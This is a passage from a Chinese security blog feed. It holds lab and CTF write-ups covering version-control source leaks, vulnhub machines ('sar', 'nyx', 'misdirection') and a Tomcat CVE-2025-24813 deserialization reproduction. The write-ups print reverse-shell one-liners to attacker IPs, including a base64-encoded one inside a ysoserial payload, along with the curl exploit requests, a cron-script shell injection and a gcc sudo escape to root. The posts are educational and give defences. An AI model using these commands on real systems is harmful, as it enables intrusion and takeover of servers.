&lt;li&gt;其它操作均相同，本题涉及stash（暂存），是用于将正在修改代码时将修改临时保存起来，等再次使用时恢复，&lt;code&gt;git stash list&lt;/code&gt;用于查看缓存列表，&lt;code&gt;git stash pop&lt;/code&gt;用于恢复最近一次暂存，并删除暂存，如图通过恢复暂存的方式拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.CZNMzBuZ_1M2Fkg.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T3 Git-Index&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;index（索引）也代表git的暂存区，为二进制文件，记录文件git add情况，状态信息等，GitHack工具会自动处理并重建仓库，index文件被自动恢复至工作区，故执行&lt;code&gt;ls&lt;/code&gt;直接获得flag
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.b0900O23_zjuSD.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T4 SVN&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;SVN是一个开放源代码的版本控制系统，与git不同是，git存在本地仓库，本地仓库包含完整版本信息，svn则是提交时与服务器直接相连，本题是由于.svn文件夹未删除导致信息泄露，先根据指引下载dvcs-ripper工具，这是一个用Perl编写的渗透测试工具集，专门用于从存在版本控制系统泄露的网站上提取源码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.CkXTfmV9_XCAzL.webp&quot; alt=&quot;SVN&quot; /&gt;&lt;/li&gt;
&lt;li&gt;先执行&lt;code&gt;sudo cpan DBD::SQLite&lt;/code&gt;用于让 Perl 程序通过DBI接口连接和操作SQLite 数据库，按照如下操作使用工具，通过 .svn/pristine/ 下载所有历史版本的文件内容，查看文件获得flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.CmQfZadR_Zg73QP.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T5 HG&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;下一个是.hg泄露，Mercurial和Git都是分布式版本控制系统，在Mercurial中，提交前没有索引或暂存区，相对Git更简单，一样可以使用刚才的工具，按照如下步骤操作，打开store文件夹。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.CRyOOQNR_E9YIu.webp&quot; alt=&quot;hg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在fncache中，存放的是经过编码处理的长文件名映射表，说明仓库中包含一个如下名的flag（去掉.i），但是根据题目提示由于不同版本问题，使用cat获取flag内容无效，让我们手动尝试，在url中拼接flag的文件名，成功获取flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.DHwg1w5W_Z2tB7r9.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-sar（sar2HTML漏洞利用+自动任务提权）</title><link>https://www.dxowo8.top/posts/post-19/19/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-19/19/</guid><description>记录sar靶机渗透过程和思路</description><pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-sar（sar2HTML漏洞利用+自动任务提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的sar靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/sar-1,425/&quot;&gt;&apos;https://vulnhub.com/entry/sar-1,425/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.130.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.130.130为靶机。（192.168.130.128为我的kali虚拟机的地址）并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.130.130&lt;/code&gt;，并对开放端口记录用于后续渗透，仅发现80端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BRcn9T-l_1yngO4.webp&quot; alt=&quot;scan&amp;amp;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p80 192.168.130.130&lt;/code&gt;，得到端口详细服务内容和系统版本，执行&lt;code&gt;nmap --script=vuln -p80 192.168.130.130&lt;/code&gt;用脚本扫一下漏洞。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DEVufNpk_12dlwE.webp&quot; alt=&quot;details&amp;amp;script&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过脚本扫描出的robots.txt中获得了如下信息，可能是页面。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.POb-ZNHB_ZLwIRF.webp&quot; alt=&quot;robots.txt&quot; /&gt;&lt;/li&gt;
&lt;li&gt;成功访问到该页面。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.BYaAKOxp_Z2hGgrB.webp&quot; alt=&quot;sar2HTML&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过searchsploit搜索漏洞，先下载txt文件看看介绍。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.CTzjOamE_Z1IhWMO.webp&quot; alt=&quot;searchsploit&quot; /&gt;&lt;/li&gt;
&lt;li&gt;简单来说，在对应url拼接plot=?command执行，在下面的select host可以看到命令执行结果。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.CluXwOPu_1prQXn.webp&quot; alt=&quot;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;例如执行whoami，下拉发现www-data，证明漏洞存在。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.DpnK56-a_U1yrr.webp&quot; alt=&quot;script_results&quot; /&gt;&lt;/li&gt;
&lt;li&gt;构造反弹shell的txt格式&lt;code&gt;bash -c &quot;/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.245.136/1234 0&amp;gt;&amp;amp;1&quot;&lt;/code&gt;，后面利用远程命令执行在我们搭建的服务器上下载该txt文件，保存为php文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.Bhbbicnv_Z2eWjO7.webp&quot; alt=&quot;payload&quot; /&gt;&lt;/li&gt;
&lt;li&gt;拼接如下url，并访问。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.Cb_SMxSE_7BCsf.webp&quot; alt=&quot;dl&quot; /&gt;&lt;/li&gt;
&lt;li&gt;打开kali的监听，访问shell.php，成功获取初始shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.Bhs2swj9_ZYLFo5.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;简单搜寻，有自动任务，内容如下。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.BjqQeFzz_Z23n0VO.webp&quot; alt=&quot;crontab&quot; /&gt;&lt;/li&gt;
&lt;li&gt;了解自动任务逻辑，权限属于root的finally.sh，每五分钟执行write.sh，write.sh属于www-data用户，尝试修改文件写入反弹shell提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.CSkELT-Y_Z1FPdoD.webp&quot; alt=&quot;write&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.BEbg3n4n_UJX1m.webp&quot; alt=&quot;writein&quot; /&gt;&lt;/li&gt;
&lt;li&gt;提前打开nc监听1234端口，等待自动任务执行，稍作等待看到反弹回root的shell了，提权结束。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.DFXnfit3_1BzwNn.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本次利用漏洞为CVE-2025-34030，是一个高危漏洞，通过查看github上sar2html项目原码，猜测index.php相关模块对用户可修改的plot参数没有进行过滤，如下图一，直接将plot参数获取，并且拼接系统指令执行，未作转义和过滤处理，而这样构造payload，如下图二所示，相当于执行&lt;code&gt;/sar2html -r ;command&lt;/code&gt;，且该执行结果刚好会被php文件回显到页面上供用户查看，这是十分危险的漏洞，影响版本为3.2.2及以前版本。
&lt;img src=&quot;https://www.dxowo8.top/_astro/code.SnxluL7u_2wkmfm.webp&quot; alt=&quot;code&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/code2.CPSv4N2L_21vcbM.webp&quot; alt=&quot;code2&quot; /&gt;&lt;/li&gt;
&lt;li&gt;防护思路：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;禁用危险函数：disable_functions = exec,system,shell_exec,passthru。&lt;/li&gt;
&lt;li&gt;对传入所有参数进行严格过滤，对传入数据做到零信任。&lt;/li&gt;
&lt;li&gt;Web目录设置正确的权限：chmod 755 /var/www/html，从而防止其它用户写入shell等恶意文件。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Tomcat RCE(CVE-2025-24813)验证与利用复现及修复建议</title><link>https://www.dxowo8.top/posts/post-18/18/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-18/18/</guid><description>记录CVE-2025-24813漏洞的检测方式与通过ysoserial工具的漏洞利用</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Tomcat RCE(CVE-2025-24813)验证与利用复现及修复建议&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文仅为个人技术学习实验记录，工具使用需严格遵守当地法律法规，请勿用于任何未授权的网络活动，违规使用后果自负。&lt;/li&gt;
&lt;li&gt;ysoserial工具下载地址为&lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;&apos;https://github.com/frohoff/ysoserial&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;commonscollections组件下载地址为&lt;a href=&quot;https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1&quot;&gt;&apos;https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;漏洞介绍&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;部分版本的Tomcat（9.0.0.M1 &amp;lt;= Apache Tomcat &amp;lt;= 9.0.98、10.1.0-M1 &amp;lt;= Apache Tomcat &amp;lt;= 10.1.34、11.0.0-M1 &amp;lt;= Apache Tomcat &amp;lt;= 11.0.2）在特定配置下，存在反序列化漏洞，通过利用文件会话持久机制，攻击者可以通过构造恶意payload在服务器中写入数据，并构造请求触发反序列化。&lt;/li&gt;
&lt;li&gt;漏洞利用条件：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;web.xml中配置 readonly=false 开启文件写入（默认不开启）。&lt;/li&gt;
&lt;li&gt;采用了tomcat默认的会话持久化方案且路径默认，相关配置在context.xml文件中。&lt;/li&gt;
&lt;li&gt;系统默认的开启分块传输（PartialPUT）。&lt;/li&gt;
&lt;li&gt;服务器存在包含反序列化漏洞的库（这里使用的是commons-collections-3.2.1.jar）。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;简要原理：当攻击者发送一个包含Content-Range头的PUT请求到路径如/evil/session时，Tomcat会将路径解析为&lt;code&gt;.evil.session&lt;/code&gt;，在工作目录的&lt;code&gt;/work/Catalina/localhost/ROOT&lt;/code&gt;下生成临时文件.evil.session，之后攻击者发送带有JSESSIONID=.evil的Cookie请求，该文件被反序列化，若含有恶意payload则会执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;环境搭建&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;首先&lt;code&gt;sudo docker pull tomcat:9.0.98-jdk8&lt;/code&gt;拉取tomcat9.0.98版本（属于影响范围）+jdk8的docker镜像。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.CtROuNOt_oLqHp.webp&quot; alt=&quot;pull&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo docker run -d --name tomcat -p 8888:8080 tomcat:9.0.98-jdk8&lt;/code&gt;将容器默认的8080端口映射到docker所在主机的8888端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.BCYiNrHV_Z1Egh2d.webp&quot; alt=&quot;run&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt; sudo docker exec -it tomcat /bin/bash&lt;/code&gt;打开容器，然后将webapps.dist目录下复制到webapps目录下提供默认页面。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.BYG8Y9YV_Zsol70.webp&quot; alt=&quot;tomcat&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问该主机8888端口看到tomcat安装成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.BJyHRzXO_zljcT.webp&quot; alt=&quot;8888&quot; /&gt;&lt;/li&gt;
&lt;li&gt;前往下载组件commons-collections3.2.1。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.BQHskAhm_Z9fbJO.webp&quot; alt=&quot;component&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进入该目录下创建lib文件夹。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.pJwXRvD5_2rPr4b.webp&quot; alt=&quot;lib&quot; /&gt;&lt;/li&gt;
&lt;li&gt;容器外执行&lt;code&gt;sudo docker cp commons-collections-3.2.1.jar 8d4c4d7d30d4:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib&lt;/code&gt; 将该jar包cp到容器内目标路径。&lt;/li&gt;
&lt;li&gt;容器内不方便修改，类似上一条指令格式，将容器内的context.xml和web.xml复制到容器外部，先修改context.xml,加上本段内容：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Manager className=&quot;org.apache.catalina.session.PersistentManager&quot;&amp;gt;  
   &amp;lt;Store className=&quot;org.apache.catalina.session.FileStore&quot;/&amp;gt;  
&amp;lt;/Manager&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/7.C1D4YJe3_dIErY.webp&quot; alt=&quot;context&quot; /&gt;
9. 打开web.xml，在如图这里（注意是在含default的servlet标签里面），添加配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;init-param&amp;gt;
            &amp;lt;param-name&amp;gt;readonly&amp;lt;/param-name&amp;gt;
            &amp;lt;param-value&amp;gt;false&amp;lt;/param-value&amp;gt;
&amp;lt;/init-param&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/8.CRjyVjIw_Z2al3u2.webp&quot; alt=&quot;web&quot; /&gt;
10. 删除原本的两个xml文件并且把此文件cp回容器响应位置，&lt;code&gt;sudo docker restart tomcat&lt;/code&gt;重启容器。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.DLIp-LL6_2gbXnQ.webp&quot; alt=&quot;restart&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;验证与利用过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;去github上下载ysoserial工具（地址在文章开头部分），阅读基本使用方法，我这里payload选择的是第六条链，拼接为&lt;code&gt;java -jar ysoserial-all.jar CommonsCollections6 &quot;touch /tmp/success.txt&quot; &amp;gt; payload.bin&lt;/code&gt;，尝试在/tmp目录下创建一个success.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/usage.BOryhs4__ZGCEpS.webp&quot; alt=&quot;usage&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将生成的payload.bin cp到docker容器外，执行&lt;code&gt;curl -v -X PUT -H &quot;Content-Range: bytes 0-2800/2810&quot; --data-binary @payload.bin http://192.168.130.129:8888/evil/session&lt;/code&gt;进行写入（PUT包所标字节数应大于实际bin文件字节数），此时实际上在工作目录的&lt;code&gt;/work/Catalina/localhost/ROOT&lt;/code&gt;下生成了临时文件.evil.session，但是很快会被删除，需提前准备第二个数据包触发请求。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.BTPjDgRG_1nLSiz.webp&quot; alt=&quot;409&quot; /&gt;&lt;/li&gt;
&lt;li&gt;上一个返回409说明成功写入数据，将构造好的&lt;code&gt;curl -v -H &quot;Cookie: JSESSIONID=.evil&quot; http://192.168.130.129:8888/&lt;/code&gt;执行发送，返回状态码500，说明成功触发反序列化。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.BJzmMDft_2r2vOH.webp&quot; alt=&quot;500&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在容器内/tmp目录，发现了success.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.B7W-9x4W_Z1j2Pul.webp&quot; alt=&quot;success&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试构建反弹shell，&lt;code&gt;java -jar ysoserial-all.jar CommonsCollections6 &quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}&quot; &amp;gt; shell.bin&lt;/code&gt;这里的base64编码内容是一个反弹shell，连接攻击主机（192.168.130.128:9999），若使用请自行构造并编码替换，将该文件也拿出容器准备发包，提前在攻击主机执行&lt;code&gt;nc -lvnp 9999&lt;/code&gt;等待连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.vtA5Rd4k_1YjRv3.webp&quot; alt=&quot;nc&quot; /&gt;&lt;/li&gt;
&lt;li&gt;修改刚才的包中引用文件名再次发包，返回状态码409。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.ImvVb2KX_1CNn2b.webp&quot; alt=&quot;409&quot; /&gt;&lt;/li&gt;
&lt;li&gt;再发送触发反序列化数据包，返回500。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.Bps8tf4P_Z1CMzSx.webp&quot; alt=&quot;500&quot; /&gt;&lt;/li&gt;
&lt;li&gt;返回攻击机已经获得了反弹shell，验证完毕。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.DubEqht3_1ac3uP.webp&quot; alt=&quot;root&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;JSESSIONID是JavaWeb应用中，服务器分配给每个用户的会话凭证，而在本次漏洞利用中，它被用来指向并触发我们提前放置的恶意文件，通过保存文件名为&lt;code&gt;JSESSIONID值.session&lt;/code&gt;保存，当数据包为&lt;code&gt;JSESSIONID=.evil&lt;/code&gt;时，tomcat则将其中内容反序列化（我们保存的存放payload的.evil.session文件），触发漏洞。&lt;/li&gt;
&lt;li&gt;本次复现中409状态码造成原因：当声明如2800字节的数据，假如只传递了1700字节（实际大小），会提示请求当前服务器上资源当前状态存在冲突，这也意味着成功写入.evil.session。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;500状态码原因：500表示“内部服务器错误”，意味着服务器在处理请求时遇到意外情况，无法完成请求，这里是因为指定错误cookie导致去反序列化payload，故无法返回正常页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;防护方案有很多：如将Tomcat升级至安全版本，以修复反序列化漏洞，以及PUT请求处理缺陷‌、修改默认会话存储路径、在web.xml中修改 readonly参数为true、移除存在反序列化链的依赖库（如commoncolections3.2.1以下）等。&lt;/li&gt;
&lt;li&gt;很多其它工具也可以用于本次验证，如burp，yakit发包，以及yakit上面存在反序列化漏洞利用的编码功能，在此不一一介绍，可以搜索漏洞名称参考其它大佬的文章来学习。&lt;/li&gt;
&lt;li&gt;对于一些返回状态码不同无法正常进行的情况可以参照下图检查一下。
&lt;img src=&quot;https://www.dxowo8.top/_astro/check.BKxW-L0j_EB194.webp&quot; alt=&quot;check&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-nyx（信息收集+gcc提权）</title><link>https://www.dxowo8.top/posts/post-16/16/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-16/16/</guid><description>记录nyx靶机渗透过程和思路</description><pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-nyx（信息收集+gcc提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的nyx靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/nyx-1,535/&quot;&gt;&apos;https://vulnhub.com/entry/nyx-1,535/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.166为靶机。（192.168.245.136为我的kali虚拟机的地址）
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BUcSWv0-_19H7Lj.webp&quot; alt=&quot;scan&quot; /&gt;&lt;/li&gt;
&lt;li&gt;并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.245.166&lt;/code&gt;，并对开放端口记录用于后续渗透，发现22、80端口，对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p22,80 192.168.245.163&lt;/code&gt;，得到端口详细服务内容和系统版本。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DonpQL0g_1Srntz.webp&quot; alt=&quot;ports&amp;amp;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;nmap --script=vuln -p22,80,110,143 192.168.245.162&lt;/code&gt;用脚本扫一下漏洞，扫出了一个文件&lt;code&gt;/d41d8cd98f00b204e9800998ecf8427e.php&lt;/code&gt;，一会看一下。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.DcwbhonO_71rFN.webp&quot; alt=&quot;script&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo gobuster dir -u http://192.168.245.166 -x .php,.txt,.zip,.sql --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt&lt;/code&gt;目录爆破，找到/key.php。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.BI4sRspY_27oNS.webp&quot; alt=&quot;gobuster&quot; /&gt;&lt;/li&gt;
&lt;li&gt;先访问80端口及其源码，提示不要过多注意原码和robots.txt这类，要注重于实际有价值的东西。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.Cd12jeAb_Z127WhO.webp&quot; alt=&quot;80&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看key.php及原码，没什么突破口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.D3ceOVMq_Z14mOTa.webp&quot; alt=&quot;key&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看刚才脚本扫描出来的php文件，发现一段私钥。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.BdTu4ZAa_ZFRDKJ.webp&quot; alt=&quot;idrsa&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将私钥完整复制新建文件，尝试ssh连接，不知道用户，尝试root，失败，发现标题提示mpampis可能是用户名，连接显示私钥权限不当，改至400再次尝试成功连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.CbYsDIKm_2jqthb.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;查看id，搜索特权文件，可写文件都尝试，在执行&lt;code&gt;sudo -l&lt;/code&gt;给出有gcc的特权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.fiQ5f8R7_1EWJ0D.webp&quot; alt=&quot;sudol&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在该网站中尝试搜索可执行文件gcc提权方法，&lt;code&gt;gcc -wrapper /bin/sh,-s x&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.CsWUdtUr_bkOiF.webp&quot; alt=&quot;search&quot; /&gt;&lt;/li&gt;
&lt;li&gt;初次理解指令错误，正确理解后将x替换成任意有效文件（&quot;.&quot;代表当前目录，符合有效文件），获得root权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.-nV8xqBn_2jk5nb.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;对于扫描结果，应该提高关注度，当时扫出这个私钥的php文件，感觉很有趣，为什么能扫出来这样看似杂乱文件名的文件呢？去查了一下资料
了解到此为空字符串的md5加密，实际上md5对空字符串也有一个处理（但null不可以，会出现异常），故经常要对md5加密输入值进行检查，确认加密过程的正确性，相关可参考文章&lt;a href=&quot;https://blog.csdn.net/lkp1603645756/article/details/138152679&quot;&gt;&apos;https://blog.csdn.net/lkp1603645756/article/details/138152679&apos;&lt;/a&gt;，而常见的脚本扫描会对敏感文件进行扫描，该文件属于可疑文件名列表内，在发送请求探测时返回200，则证实有该文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.aZjbbAvI_ZDtLhk.webp&quot; alt=&quot;md5&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于可执行文件提权方面，可以经常查阅网站&lt;a href=&quot;https://gtfobins.org/&quot;&gt;&apos;https://gtfobins.org/&apos;&lt;/a&gt;进行积累，尝试多种提权思路。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-misdirection（渗透优先级抉择&amp;passwd修改提权&amp;shell交互性探讨）</title><link>https://www.dxowo8.top/posts/post-17/17/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-17/17/</guid><description>记录misdirection靶机渗透过程和思路</description><pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-misdirection（渗透优先级抉择&amp;amp;passwd修改提权&amp;amp;shell交互性探讨）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的misdirection靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/misdirection-1,371/&quot;&gt;&apos;https://vulnhub.com/entry/misdirection-1,371/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.167为靶机。（192.168.245.136为我的kali虚拟机的地址）并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.245.167&lt;/code&gt;，并对开放端口记录用于后续渗透，发现22、80，3306，8080端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.Bn2pjcj4_Z29NwB1.webp&quot; alt=&quot;scan&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p22,80,3306,8080 192.168.245.167&lt;/code&gt;，得到端口详细服务内容和系统版本。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.D4RkfMZ0_Z3oKQr.webp&quot; alt=&quot;ports&amp;amp;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;nmap --script=vuln -p22,80,110,143 192.168.245.167&lt;/code&gt;用脚本扫一下漏洞，扫描时间比较长，一会回来看看。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.RkpfWYVH_Z2rsVnL.webp&quot; alt=&quot;script&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问一下80端口，简要对其中的链接进行访问，没有很明显的突破口，尝试目录爆破。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo gobuster dir -u http://192.168.245.167 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt&lt;/code&gt;目录爆破，因为返回状态码问题，无法爆破80端口，先试试修改为8080端口爆破，一个个进行访问。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.C6_50Q0w_Z1dLFBI.webp&quot; alt=&quot;gobuster&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问到/wordpress，仿佛没有很明显突破口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.VWpBgH7T_1It7hY.webp&quot; alt=&quot;wordpress&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问到/debug，试了试发现是个www-data用户的可交互shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.DSa8k4m4_Z2leP0y.webp&quot; alt=&quot;debug&quot; /&gt;&lt;/li&gt;
&lt;li&gt;回看到脚本扫描以及完成，有些80端口的目录可以访问。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.LefjmADl_ZRhG3B.webp&quot; alt=&quot;script_results&quot; /&gt;&lt;/li&gt;
&lt;li&gt;发现路径均被封闭，没有办法继续渗透。
